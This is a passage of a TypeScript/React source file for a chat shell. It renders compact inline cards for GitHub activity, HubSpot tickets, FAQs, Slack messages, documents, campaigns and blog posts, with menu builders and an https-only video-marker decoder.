below.\n *\n * Public entry points consumed by the chat shell:\n *   - `renderChatInlineEntityCard(ref, opts)` — top-level marker dispatch\n *     (block-card hoist for video refs, otherwise compact card).\n *   - `<ChatCardLoader />` — fetch + skeleton + render the compact card for\n *     fetch-mode entries.\n */\n\nimport React, { type ReactNode } from 'react'\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { useRouter } from '../../../embed-shims/next-navigation'\nimport type { ChatRef } from '../chat-ref.types'\nimport { useChatCardItem } from '../hooks/use-chat-card-item'\nimport { handleChatNavClick } from '../utils/nav-click-handler'\nimport { resolveSourceRowCTA, resolveSourceIcon, sourceRowCtxFromRuntime } from '../utils/source-row-cta'\nimport { resolveFetchedCardHref, readFetchedCardTitle } from '../utils/resolve-fetched-card-href'\nimport { resolveHrefForRuntime } from '../utils/chat-nav-resolution'\nimport {\n  computeIsNewTab,\n  buildAnchorProps,\n} from '../utils/nav-anchor-props'\nimport { safeHref } from '../utils/compact-card-classes'\nimport { faqItemAnchor } from '../../../utils/faq-anchor'\nimport { useChatPanel } from '../chat-panel-context'\nimport { getSourceLabel } from '../utils/source-icons'\nimport { SourceActionButton } from '../source-action-button'\nimport { NavLinkAnchorViaRuntime } from '../nav-link-anchor-via-runtime'\nimport { defaultBuildProductReleaseCardProps } from './product-release-card-defaults'\nimport { ChatVideoEntityCard } from './chat-video-entity-card'\nimport { DeletedDataCard } from './deleted-data-card'\nimport { BlockCard } from './block-card'\nimport { BlogCardSkeleton } from './blog-card'\nimport { CaseStudyCardSkeleton } from './case-study-card'\nimport { CustomerInterviewCardSkeleton } from './customer-interview-card'\nimport {\n  ProductReleaseCardSkeleton,\n  type ProductReleaseCardProps,\n} from './product-release-card'\nimport { ProgramCardSkeleton } from './program-card'\nimport { InvestorUpdateCardSkeleton } from './investor-update-card'\nimport { OnboardingGuideCardSkeleton } from './onboarding-guide-card'\nimport { CampaignCardAdminSkeleton } from './campaign-card-admin'\nimport { RoadmapCardSkeleton } from './roadmap-card'\nimport { TaskTypeIcon } from './task-type-icon'\nimport {\n  parseGithubTitle,\n  formatActivityId,\n  kindLabel as githubKindLabel,\n  reviewStateLabel,\n} from './github-activity-card'\nimport {\n  MingoInfoCard,\n  MingoInfoCardSkeleton,\n  type MingoInfoCardStatus,\n} from '../mingo-info-card'\nimport type { ActionsMenuGroup } from '../../ui/actions-menu'\nimport { MingoIcon } from '../../icons'\nimport { EyeIcon } from '../../icons-v2-generated/interface/eye-icon'\nimport { AlertTriangleIcon } from '../../icons-v2-generated/interface/alert-triangle-icon'\nimport { ArrowRightUpIcon } from '../../icons-v2-generated/arrows/arrow-right-up-icon'\nimport { TagIcon } from '../../icons-v2-generated/shopping/tag-icon'\nimport { QuestionCircleIcon } from '../../icons-v2-generated/signs-and-symbols/question-circle-icon'\nimport { SlackLogoGreyIcon } from '../../icons-v2-generated/brand-logos/slack-logo-grey-icon'\nimport { ClickupLogoIcon } from '../../icons-v2-generated/brand-logos/clickup-logo-icon'\nimport { clickupTaskUrl } from '../utils/external-app-urls'\nimport { FileContentIcon } from '../../icons-v2-generated/documents/file-content-icon'\nimport { ChartBar01VerIcon } from '../../icons-v2-generated/charts/chart-bar-01-ver-icon'\nimport { ChartPieIcon } from '../../icons-v2-generated/charts/chart-pie-icon'\nimport { MoneyBillDollarIcon } from '../../icons-v2-generated/finance/money-bill-dollar-icon'\nimport { BankIcon } from '../../icons-v2-generated/finance/bank-icon'\nimport { CoinsExchangeCurrencyIcon } from '../../icons-v2-generated/finance/coins-exchange-currency-icon'\nimport { NewspaperIcon } from '../../icons-v2-generated/documents/newspaper-icon'\nimport { TrophyIcon } from '../../icons-v2-generated/sport/trophy-icon'\nimport { MicrophoneIcon } from '../../icons-v2-generated/household/microphone-icon'\nimport { Rocket02Icon } from '../../icons-v2-generated/vehicles-and-delivery/rocket-02-icon'\nimport { TruckFastIcon } from '../../icons-v2-generated/vehicles-and-delivery/truck-fast-icon'\nimport { PresentationBarIcon } from '../../icons-v2-generated/charts/presentation-bar-icon'\nimport { PresentationLineIcon } from '../../icons-v2-generated/charts/presentation-line-icon'\nimport { CalendarIcon } from '../../icons-v2-generated/date-and-time/calendar-icon'\nimport { CompassIcon } from '../../icons-v2-generated/map-and-travel/compass-icon'\nimport { MapIcon } from '../../icons-v2-generated/map-and-travel/map-icon'\nimport { CheckSquareIcon } from '../../icons-v2-generated/signs-and-symbols/check-square-icon'\nimport { Megaphone01Icon } from '../../icons-v2-generated/shopping/megaphone-01-icon'\nimport { getStatusColorScheme } from '../utils/agent-status-message'\nimport { formatDateShort } from '../../../utils/date-formatters'\nimport { formatInvestorUpdatePeriod } from '../types/entities/investor-update'\nimport { CodingCommitIcon } from '../../icons-v2-generated/coding/coding-commit-icon'\nimport { CodingPullRequestIcon } from '../../icons-v2-generated/coding/coding-pull-request-icon'\nimport { CodeIcon } from '../../icons-v2-generated/coding/code-icon'\nimport {\n  formatDateUTC as formatDate,\n  formatDurationCompact,\n  formatTimeWithTimezone,\n  formatDurationFromRange,\n} from '../../../utils/format'\nimport type { PrReviewState } from '../types/entities/github-activity'\nimport type { GitHubActivityKind } from '../types/entities/github-activity'\nimport type { ProgramConfig } from '../types/entities/program-types'\n\n// =============================================================================\n// Public option / extras shape\n// =============================================================================\n\n/** Optional host-side extras threaded through to render functions whose\n *  derived props can't be computed in lib alone (program configs and the\n *  product-release prop builder live in hub land). When omitted, the\n *  affected card types render `null` from the dispatch — the chat shell's\n *  fallback path takes over. */\nexport interface ChatCardDispatchExtras {\n  /** Per-program-type config map. Keyed by chat documentType\n   *  (`podcast` / `webinar` / `event`). Each entry is the canonical\n   *  `<ProgramConfig>` the `<ProgramCard>` expects. */\n  programConfigs?: {\n    podcast?: ProgramConfig<any>\n    webinar?: ProgramConfig<any>\n    event?: ProgramConfig<any>\n  }\n  /** Derive the `<ProductReleaseCard>` prop bundle from a hydrated\n   *  release row. Hub callers wire `buildProductReleaseCardProps` from\n   *  `lib/utils/product-release-card-props.ts`. */\n  buildProductReleaseCardProps?: (\n    release: any,\n  ) => Omit<ProductReleaseCardProps, 'size' | 'title' | 'summary' | 'version' | 'anchorProps'>\n  /** Build a branded OG placeholder URL from an entity title. Compact chat-\n   *  inline cards (`size='sm'` for blog/case-study/customer-interview/\n   *  investor-update/onboarding-guide) pass the result as `placeholderUrl`\n   *  so the card's image slot renders the OG fallback instead of an empty\n   *  span when the entity has no `featured_image`. Hub callers wire\n   *  `buildOgPlaceholderUrl` from `lib/utils/entity-image.ts`. Optional —\n   *  when omitted, the compact cards keep the existing empty-slot\n   *  behavior. */\n  buildOgPlaceholderUrl?: (title: string) => string | null\n}\n\n/** Per-card render options threaded through from the chat shell. */\nexport interface ChatCardRenderOptions {\n  baseRoute?: string\n  chipBasePlatform?: string\n  /** Host-supplied builders for cards whose derived props live in hub\n   *  land (programs + product_release). When omitted, these card types\n   *  render `null` and the shell falls back to title text. */\n  extras?: ChatCardDispatchExtras\n  /** Pre-computed new-tab decision for the inner anchor's `target`\n   *  attribute. Required — always computed by `ChatCardLoader` via the\n   *  same rule source chips use, so the rendered `<a target>` matches\n   *  whatever `ChatCardNavWrap` + `handleChatNavClick` decide at click\n   *  time. */\n  isNewTab: boolean\n  /** Host-provided \"Ask Mingo\"/\"Display\" affordance for this card, resolved\n   *  once by `ChatCardLoader`. Each wrapper threads it into its \"⋯\" menu via\n   *  `cardMenuGroups`. Undefined when the host supplied no `onDiscuss`/\n   *  `onDisplay` (then the menu shows only \"Open in new tab\"). */\n  discuss?: CardDiscussAction\n}\n\n// =============================================================================\n// Per-type \"no-fetch\" wrapper components (ChatRef carries everything).\n// Each wrapper receives `isNewTab` as a prop — `ChatCardLoader` computes\n// it ONCE via `computeIsNewTab` against the resolved `chatRef.url` and\n// threads it through `renderOpts`. Wrappers must NOT call\n// `computeIsNewTab` themselves; the parent's decision is the single\n// source of truth for the rendered `<a target>` AND `ChatCardNavWrap`'s\n// close-on-nav gate.\n// =============================================================================\n\n/** Leading glyph per GitHub activity kind. */\nfunction githubKindIcon(kind: GitHubActivityKind) {\n  switch (kind) {\n    case 'pull_request':\n      return <CodingPullRequestIcon size={24} />\n    case 'pr_review':\n      return <CodeIcon size={24} />\n    case 'commit':\n    default:\n      return <CodingCommitIcon size={24} />\n  }\n}\n\n/** PR review state → status-pill colour. */\nfunction reviewStateToVariant(state: PrReviewState): MingoInfoCardStatus['variant'] {\n  switch (state) {\n    case 'APPROVED':\n      return 'success'\n    case 'CHANGES_REQUESTED':\n      return 'error'\n    case 'PENDING':\n      return 'warning'\n    case 'COMMENTED':\n    case 'DISMISSED':\n    default:\n      return 'grey'\n  }\n}\n\nfunction GitHubChatCard({\n  chatRef,\n  kind,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef\n  kind: GitHubActivityKind\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  // Reuse the card's own title parser so the display title + review state\n  // read identically here and in the (legacy) GitHubActivityCard.\n  const { display, reviewState } = parseGithubTitle(chatRef.title, kind)\n  const title =\n    kind === 'pr_review'\n      ? display.replace(/^by\\s+/i, '').trim() || 'Reviewer'\n      : display\n\n  // Review state pill for reviews; otherwise the neutral activity-type pill.\n  const status: MingoInfoCardStatus =\n    kind === 'pr_review' && reviewState\n      ? { label: reviewStateLabel(reviewState), variant: reviewStateToVariant(reviewState) }\n      : { label: githubKindLabel(kind), variant: 'grey' }\n\n  // Description: \"<id> · <date>\" (short SHA / #num, then updated date).\n  const idLabel = formatActivityId(chatRef.id, kind)\n  const dateText = formatDate(chatRef.date ?? null, { fallback: '', timezone: 'local' })\n  const description = [idLabel, dateText].filter(Boolean).join(' · ') || undefined\n\n  return (\n    <MingoInfoCard\n      title={title}\n      description={description}\n      icon={githubKindIcon(kind)}\n      status={status}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Activity actions\"\n    />\n  )\n}\n\n/** The host-provided \"Ask Mingo\" / \"Display\" affordance, resolved once per\n *  card in `ChatCardLoader` and threaded through `renderOpts.discuss`. Mirrors\n *  the legacy `ChatCardWithDiscuss` source-row button, relocated into the \"⋯\"\n *  menu. */\nexport interface CardDiscussAction {\n  label: string\n  icon: React.ReactNode\n  run: () => void\n}\n\n/** External-app deep-link row for a card's \"⋯\" menu (e.g. \"Open in ClickUp\").\n *  Always opens in a new tab — the destination is a third-party app, never a\n *  hub route. */\nexport interface CardExternalLink {\n  label: string\n  icon: React.ReactNode\n  href: string\n}\n\n/** Overflow-menu groups for a card (Figma `7740:55075`): the optional \"Ask\n *  Mingo\"/\"Display\" item (when the host supplied a handler) followed by \"Open\n *  Details\" — whose main row navigates to the card (same tab) and whose trailing\n *  ↗ side-button opens it in a new tab — then the optional external-app\n *  deep-link row (new tab). Returns `undefined` when none applies so the \"⋯\"\n *  button is omitted entirely. The href is already absolute (ChatCardLoader\n *  pre-resolves it). */\nfunction cardMenuGroups(\n  href: string | null | undefined,\n  discuss?: CardDiscussAction,\n  /** Per-entity override for the \"Open Details\" row — e.g. HubSpot tickets use\n   *  `{ label: 'Open Ticket Details', icon: <HubSpot logo> }` so the row reads\n   *  in the entity's own terms and mirrors the card's leading icon. Defaults to\n   *  a generic \"Open Details\" + eye glyph. */\n  openDetails?: { label: string; icon: React.ReactNode },\n  /** Optional trailing deep-link into the entity's own third-party app\n   *  (ClickUp task, …). Rendered after \"Open Details\", always new-tab. */\n  externalLink?: CardExternalLink,\n) {\n  const items: ActionsMenuGroup['items'] = []\n  if (discuss) {\n    items.push({\n      id: 'discuss',\n      label: discuss.label,\n      icon: discuss.icon,\n      onClick: discuss.run,\n    })\n  }\n  if (href) {\n    items.push({\n      id: 'open-details',\n      label: openDetails?.label ?? 'Open Details',\n      icon: openDetails?.icon ?? <EyeIcon size={20} />,\n      // Main row → open the entity (same tab, soft Link nav).\n      href,\n      // Trailing 40px ↗ side-button → open in a new tab.\n      iconAction: {\n        icon: <ArrowRightUpIcon size={20} />,\n        'aria-label': 'Open in new tab',\n        href,\n        openInNewTab: true,\n      },\n    })\n  }\n  if (externalLink) {\n    items.push({\n      id: 'open-external',\n      label: externalLink.label,\n      icon: externalLink.icon,\n      href: externalLink.href,\n      openInNewTab: true,\n    })\n  }\n  return items.length ? [{ items }] : undefined\n}\n\n/** Title-case a status/priority token (\"WAITING_ON_US\" → \"Waiting on us\"). */\nfunction formatStatusToken(token: string | undefined): string | undefined {\n  if (!token) return undefined\n  const lower = token.toLowerCase().replace(/_/g, ' ')\n  return lower.charAt(0).toUpperCase() + lower.slice(1)\n}\n\n/** HubSpot ticket status → `MingoInfoCard` status pill (Closed→green,\n *  Open→amber, anything else→neutral grey). */\nfunction hubspotStatusToVariant(\n  status: string | undefined,\n): MingoInfoCardStatus['variant'] {\n  const s = (status || '').toUpperCase()\n  if (s === 'CLOSED') return 'success'\n  if (s === 'OPEN') return 'warning'\n  return 'grey'\n}\n\n/**\n * Decode a SELF-DESCRIBING `[card://video:<id>]` marker id into playable\n * video metadata — the paired decoder for the hub's\n * `DERIVE_HANDLES_BY_KIND` id minting (keep in lockstep). Embedded\n * videos have no backing table row, so the marker id IS the payload;\n * this is what makes video cards transport-independent (no fetch, no\n * server-shipped metadata).\n *   - bare 11-char id → YouTube (lite-youtube facade takes the bare id)\n *   - `mux-<playbackId>` → `https://stream.mux.com/<playbackId>.m3u8`\n *   - `mp4-<base64url(url)>` → decoded https URL\n * Legacy pre-2026-08 sha1-hash ids (`<kind>-<10 hex>`) and anything\n * undecodable return null — the caller falls through to the loader,\n * which renders the marker as plain text (same anti-hallucination\n * posture as every other card type).\n */\nfunction decodeVideoMarkerId(id: string): { videoUrl?: string; youtubeUrl?: string } | null {\n  // Prefix checks FIRST: an id like `mux-1234567` (11 chars) would also\n  // satisfy the bare-YouTube-id pattern below.\n  const mux = id.match(/^mux-([A-Za-z0-9_-]+)$/)\n  if (mux) {\n    // Legacy sha1 ids are exactly 10 lowercase hex — not playback ids.\n    if (/^[0-9a-f]{10}$/.test(mux[1])) return null\n    return { videoUrl: `https://stream.mux.com/${mux[1]}.m3u8` }\n  }\n  const mp4 = id.match(/^mp4-([A-Za-z0-9_-]+)$/)\n  if (mp4) {\n    if (/^[0-9a-f]{10}$/.test(mp4[1])) return null\n    try {\n      const b64 = mp4[1].replace(/-/g, '+').replace(/_/g, '/')\n      const url = atob(b64)\n      // https-only — the id is model-emitted text; never let a marker\n      // smuggle a non-https src into a player.\n      if (!/^https:\\/\\//.test(url)) return null\n      return { videoUrl: url }\n    } catch {\n      return null\n    }\n  }\n  if (/^[A-Za-z0-9_-]{11}$/.test(id)) return { youtubeUrl: id }\n  return null\n}\n\n/** Read hero-video metadata off a FETCHED item — the API-driven\n *  replacement for the retired refs-frame `metadata.videoUrl` check. Two item\n *  shapes: ChatRef-shaped items (per-object hydration routes) carry the\n *  SSOT `metadata` keys directly; content rows (public list APIs) carry\n *  the canonical columns (`custom_video_url` for recordings,\n *  `main_video_url` elsewhere — see the hub configs' videoUrlColumns).\n *  Returns null when the item carries no video (compact card only). */\nfunction itemVideoMetadata(item: any): Record<string, string> | null {\n  const pick = (...vals: unknown[]): string | undefined => {\n    for (const v of vals) if (typeof v === 'string' && v.length > 0) return v\n    return undefined\n  }\n  const m = (item?.metadata ?? {}) as Record<string, unknown>\n  const out: Record<string, string> = {}\n  const videoUrl = pick(m.videoUrl, item?.custom_video_url, item?.main_video_url)\n  // `testimonial_video_url` is the case-study mapper's youtube column.\n  const youtubeUrl = pick(m.youtubeUrl, item?.youtube_url, item?.testimonial_video_url)\n  const highlightVideoUrl = pick(m.highlightVideoUrl, item?.highlight_video_url)\n  // `featured_image` is the customer-interview mapper's poster column.\n  const videoPoster = pick(\n    m.videoPoster,\n    item?.main_video_thumbnail,\n    item?.highlight_video_thumbnail,\n    item?.featured_image,\n  )\n  const highlightVideoPoster = pick(m.highlightVideoPoster, item?.highlight_video_thumbnail)\n  if (videoUrl) out.videoUrl = videoUrl\n  if (youtubeUrl) out.youtubeUrl = youtubeUrl\n  if (highlightVideoUrl) out.highlightVideoUrl = highlightVideoUrl\n  if (videoPoster) out.videoPoster = videoPoster\n  if (highlightVideoPoster) out.highlightVideoPoster = highlightVideoPoster\n  return out.videoUrl || out.youtubeUrl || out.highlightVideoUrl ? out : null\n}\n\n/** LOUD hydration-failure card — a card that fails to load renders a\n *  VISIBLE error state instead of silently disappearing (explicit\n *  product decision 2026-08-13: broken must look broken, both for\n *  transient fetch failures and for ids the API doesn't recognize). */\nfunction CardLoadFailure({\n  label,\n  id,\n  detail,\n}: {\n  label: string\n  id: string\n  detail: string\n}) {\n  return (\n    <MingoInfoCard\n      title={label}\n      description={`${detail} · id: ${id}`}\n      icon={<AlertTriangleIcon size={24} />}\n      status={{ label: 'FAILED', variant: 'error' }}\n      menuAriaLabel=\"Card failed to load\"\n    />\n  )\n}\n\n/** Build the display ref for a hydrated card PURELY from the fetched API\n *  item — the item IS a ChatRef (minted server-side by the per-object\n *  ref-building SSOTs), so the API is the single display-data\n *  layer. The marker's ref contributes ONLY the loader-resolved\n *  `url`/`targetPlatform` (embed-origin prefixing of the item's own url\n *  via `fallbackHref`) — never titles/previews/metadata. */\nfunction fetchedItemDisplayRef(item: unknown, chatRef: ChatRef): ChatRef {\n  const it = item as ChatRef\n  return {\n    ...it,\n    url: chatRef.url ?? it.url ?? null,\n    targetPlatform: chatRef.targetPlatform ?? it.targetPlatform ?? null,\n  }\n}\n\n/** FAQ variant — `/api/faqs?ids=` returns faq-shaped rows\n *  (`question`/`answer`/`section`), not ChatRefs. Same single-layer rule:\n *  display data comes from the API row only. */\nfunction fetchedFaqDisplayRef(item: unknown, chatRef: ChatRef): ChatRef {\n  const it = item as { question?: unknown; answer?: unknown; section?: unknown }\n  const answer =\n    typeof it?.answer === 'string' && it.answer.trim().length > 0 ? it.answer.trim() : null\n  return {\n    type: 'faq',\n    id: chatRef.id,\n    sourceRepo: chatRef.sourceRepo,\n    title: typeof it?.question === 'string' && it.question ? it.question : chatRef.id,\n    url: chatRef.url ?? null,\n    ...(answer\n      ? { preview: answer.length > 400 ? `${answer.slice(0, 397)}…` : answer }\n      : {}),\n    metadata:\n      typeof it?.section === 'string' && it.section ? { section: it.section } : {},\n  }\n}\n\nfunction HubspotTicketChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  const status =\n    typeof chatRef.metadata?.status === 'string' ? (chatRef.metadata.status as string) : undefined\n  const statusLabel =\n    typeof chatRef.metadata?.statusLabel === 'string'\n      ? (chatRef.metadata.statusLabel as string)\n      : undefined\n  const statusText = statusLabel ?? formatStatusToken(status)\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={<TagIcon size={24} />}\n      status={\n        statusText\n          ? { label: statusText, variant: hubspotStatusToVariant(status) }\n          : undefined\n      }\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss, {\n        label: 'Open Ticket Details',\n        icon: <TagIcon size={20} />,\n      })}\n      menuAriaLabel=\"Ticket actions\"\n    />\n  )\n}\n\n/** FAQ Q&A — title=question, body=answer preview, optional section pill.\n *  No-fetch card: every field the renderer needs already lives on the\n *  ChatRef (hub's `FAQ_MAPPER.toRetrievedDoc` populates `title` /\n *  `preview` / `url` / `targetPlatform`, and the section name is threaded\n *  through `metadata.section` for the badge). The card itself stays pure\n *  presentation — same shape as `SlackChatCard` / `HubspotTicketChatCard`. */\nfunction FaqChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  const section =\n    typeof chatRef.metadata?.section === 'string'\n      ? (chatRef.metadata.section as string).trim()\n      : undefined\n  const statusLabel = section && section.length > 0 ? section : 'FAQ'\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={<QuestionCircleIcon size={24} />}\n      status={{ label: statusLabel, variant: 'grey' }}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"FAQ actions\"\n    />\n  )\n}\n\nfunction SlackChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  const channelName =\n    typeof chatRef.metadata?.channelName === 'string'\n      ? (chatRef.metadata.channelName as string).trim()\n      : undefined\n  // Prefix the channel (with a leading \"#\") onto the author title, e.g.\n  // \"Pavlo Shylo · #general\".\n  const channelPretty = channelName\n    ? channelName.startsWith('#')\n      ? channelName\n      : `#${channelName}`\n    : undefined\n  const title = channelPretty ? `${chatRef.title} · ${channelPretty}` : chatRef.title\n  return (\n    <MingoInfoCard\n      title={title}\n      description={chatRef.preview ?? undefined}\n      icon={<SlackLogoGreyIcon size={24} />}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Message actions\"\n    />\n  )\n}\n\nfunction DataRoomDocChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  // Provenance label. NEVER fall back to \"Data room\" — that would\n  // falsely label non-data-room content (openframe-docs, etc.) as\n  // private investor material when `sourceRepo` is missing or\n  // unrecognized. Generic \"Document\" is intentionally neutral so users\n  // can't be misled about sensitivity / scope.\n  const badgeText = chatRef.sourceRepo ? getSourceLabel(chatRef.sourceRepo) : 'Document'\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={<FileContentIcon size={24} />}\n      status={{ label: badgeText, variant: 'grey' }}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Document actions\"\n    />\n  )\n}\n\nfunction GenericFinancialChatCard({\n  chatRef,\n  icon,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef\n  icon: React.ReactNode\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  const subtitle =\n    typeof chatRef.metadata?.subtitle === 'string'\n      ? (chatRef.metadata.subtitle as string)\n      : undefined\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={subtitle}\n      icon={icon}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Document actions\"\n    />\n  )\n}\n\nfunction ChatInlineVideoPill({ chatRef }: { chatRef: ChatRef }) {\n  const title = chatRef.title || 'Video'\n  return (\n    <span className=\"inline-flex items-center gap-1 px-1.5 py-0.5 rounded text-xs align-middle bg-ods-card border border-ods-border text-ods-text-primary\">\n      <span aria-hidden=\"true\" className=\"text-ods-text-secondary\">▶</span>\n      <span className=\"truncate max-w-[220px]\">{title}</span>\n    </span>\n  )\n}\n\n/** Wrap a chat-inline card with the \"Ask\"/\"Display\" affordance + source\n *  tracking strip. Mirrors the hub's `ChatCardWithDiscuss` layout exactly\n *  — the visual contract here drove the lib refactor in the first place. */\nfunction ChatCardWithDiscuss({\n  chatRef,\n  onDiscuss,\n  onDisplay,\n  displayAction,\n  children,\n}: {\n  chatRef: ChatRef\n  onDiscuss?: (ref: ChatRef) => void\n  onDisplay?: (ref: ChatRef) => void\n  displayAction?: boolean\n  children: React.ReactNode\n}) {\n  const { Icon: SourceIcon, label: sourceLabel } = resolveSourceIcon({\n    sourceRepo: chatRef.sourceRepo,\n    documentType: chatRef.type,\n  })\n  const idDisplay =\n    chatRef.id && (chatRef.id.length > 24 ? `${chatRef.id.slice(0, 24)}…` : chatRef.id)\n  const useDisplay = displayAction && !!onDisplay\n  const cardBody = <span className=\"block [&>*]:!my-0\">{children}</span>\n  return (\n    <span className=\"mt-1.5 mb-2 block w-full\">\n      {cardBody}\n      <span className=\"mt-1 flex items-center justify-between gap-2 pl-0.5\">\n        <SourceActionButton\n          chatRef={chatRef}\n          onDiscuss={useDisplay ? onDisplay : onDiscuss}\n          label={useDisplay ? 'Display' : undefined}\n          density=\"card\"\n        />\n        {!onDiscuss && !useDisplay ? <span /> : null}\n        {idDisplay ? (\n          <span\n            className=\"inline-flex items-center gap-1 text-code shrink-0 text-ods-text-secondary opacity-60 hover:opacity-100 hover:text-ods-text-primary transition-opacity\"\n            title={`${sourceLabel} · ${chatRef.id}`}\n          >\n            <SourceIcon className=\"h-3 w-3 shrink-0\" />\n            <span className=\"truncate max-w-[180px]\">{idDisplay}</span>\n          </span>\n        ) : null}\n      </span>\n    </span>\n  )\n}\n\n// =============================================================================\n// Per-type fetch-mode card body — composed by ChatCardLoader once item is in.\n// =============================================================================\n\n/** Anchor-wrapped product-release card. */\nfunction ProductReleaseChatCard({\n  item,\n  chatRef,\n  buildProps,\n  isNewTab,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  buildProps: NonNullable<ChatCardDispatchExtras['buildProductReleaseCardProps']>\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  const releaseProps = buildProps(item)\n  const status: MingoInfoCardStatus = item?.version\n    ? { label: String(item.version), variant: 'grey' }\n    : { label: 'Release', variant: 'grey' }\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary || releaseProps.formattedDate || undefined}\n      cover={releaseProps.coverImage || undefined}\n      fallbackIcon={<Rocket02Icon size={24} />}\n      status={status}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Release actions\"\n    />\n  )\n}\n\n/** Anchor-wrapped marketing-campaign card. Campaigns have no public\n *  viewer; the registry entry's `fallbackHref` synthesizes the admin\n *  URL upstream in `ChatCardLoader`, so by the time we render here\n *  `chatRef.url` is guaranteed non-null AND the parent's `isNewTab`\n *  reflects the actual destination. */\nfunction CampaignChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  discuss?: CardDiscussAction\n}) {\n  // Mirror CampaignCardAdmin's compact meta — \"date · N goals · Marketing\n  // campaign\" — instead of a status pill (the original showed no status badge).\n  const goalsCount = Array.isArray(item?.goals) ? item.goals.length : 0\n  const meta = [\n    item?.start_date ? formatDateShort(item.start_date) : null,\n    goalsCount > 0 ? `${goalsCount} goal${goalsCount !== 1 ? 's' : ''}` : null,\n    'Marketing campaign',\n  ]\n    .filter(Boolean)\n    .join(' · ')\n  return (\n    <EntityMingoCard\n      title={item?.name ?? ''}\n      description={meta || item?.description || undefined}\n      fallbackIcon={<Megaphone01Icon size={24} />}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Campaign actions\"\n    />\n  )\n}\n\n/**\n * Shared `MingoInfoCard` shell for fetch-mode entity cards. `cover` renders as\n * the 40px image when present; otherwise `fallbackIcon` shows. Anchor + menu +\n * alt are wired uniformly so each registry render only computes the per-type\n * title / description / cover / icon / status.\n */\nfunction EntityMingoCard({\n  title,\n  description,\n  cover,\n  fallbackIcon,\n  status,\n  chatRef,\n  isNewTab,\n  menuAriaLabel,\n  discuss,\n  openDetails,\n  externalLink,\n}: {\n  title: React.ReactNode\n  description?: React.ReactNode\n  cover?: string\n  fallbackIcon: React.ReactNode\n  status?: MingoInfoCardStatus\n  chatRef: ChatRef\n  isNewTab: boolean\n  menuAriaLabel: string\n  discuss?: CardDiscussAction\n  /** See `cardMenuGroups` — per-entity \"Open Details\" row override. */\n  openDetails?: { label: string; icon: React.ReactNode }\n  /** See `cardMenuGroups` — trailing third-party-app deep-link row. */\n  externalLink?: CardExternalLink\n}) {\n  return (\n    <MingoInfoCard\n      title={title}\n      description={description}\n      imageSrc={cover}\n      imageAlt={typeof title === 'string' ? title : undefined}\n      icon={fallbackIcon}\n      status={status}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss, openDetails, externalLink)}\n      menuAriaLabel={menuAriaLabel}\n    />\n  )\n}\n\n/** First non-empty cover URL: entity image → OG placeholder → none. */\nfunction entityCover(image: unknown, ogPlaceholder?: string | null): string | undefined {\n  return (typeof image === 'string' && image) || ogPlaceholder || undefined\n}\n\n/** Free-text status string → coloured status pill, reusing the shared\n *  `getStatusColorScheme` mapping (cyan/default collapse to neutral grey). */\nfunction statusPill(status: unknown): MingoInfoCardStatus | undefined {\n  const s = typeof status === 'string' ? status.trim() : ''\n  if (!s) return undefined\n  const scheme = getStatusColorScheme(s)\n  const variant: MingoInfoCardStatus['variant'] =\n    scheme === 'success' || scheme === 'error' || scheme === 'warning' ? scheme : 'grey'\n  return { label: s, variant }\n}\n\n/** Blog post → image card. Cover is `featured_image`, falling back to the\n *  host's OG placeholder, then to a newspaper glyph when neither exists. */\nfunction BlogChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  hasEmbeddedVideo,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  ogPlaceholder?: string | null\n  hasEmbeddedVideo?: boolean\n  discuss?: CardDiscussAction\n}) {\n  const category = Array.isArray(item?.categories)\n    ? (item.categories.find((c: { name?: string }) => c && c.name)?.name as string | undefined)\n    : undefined\n  // A post with embedded video surfaces a yellow \"Video\" pill (mirrors the\n  